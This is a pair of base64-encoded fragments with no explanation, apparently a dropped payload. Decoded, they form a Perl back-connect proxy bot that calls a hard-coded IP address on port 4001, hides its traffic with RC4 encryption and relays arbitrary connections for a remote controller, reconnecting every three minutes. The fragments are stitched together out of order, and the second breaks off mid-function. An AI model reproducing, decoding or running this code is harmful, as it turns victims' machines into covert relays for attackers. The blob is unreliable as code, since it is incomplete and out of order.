YygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwo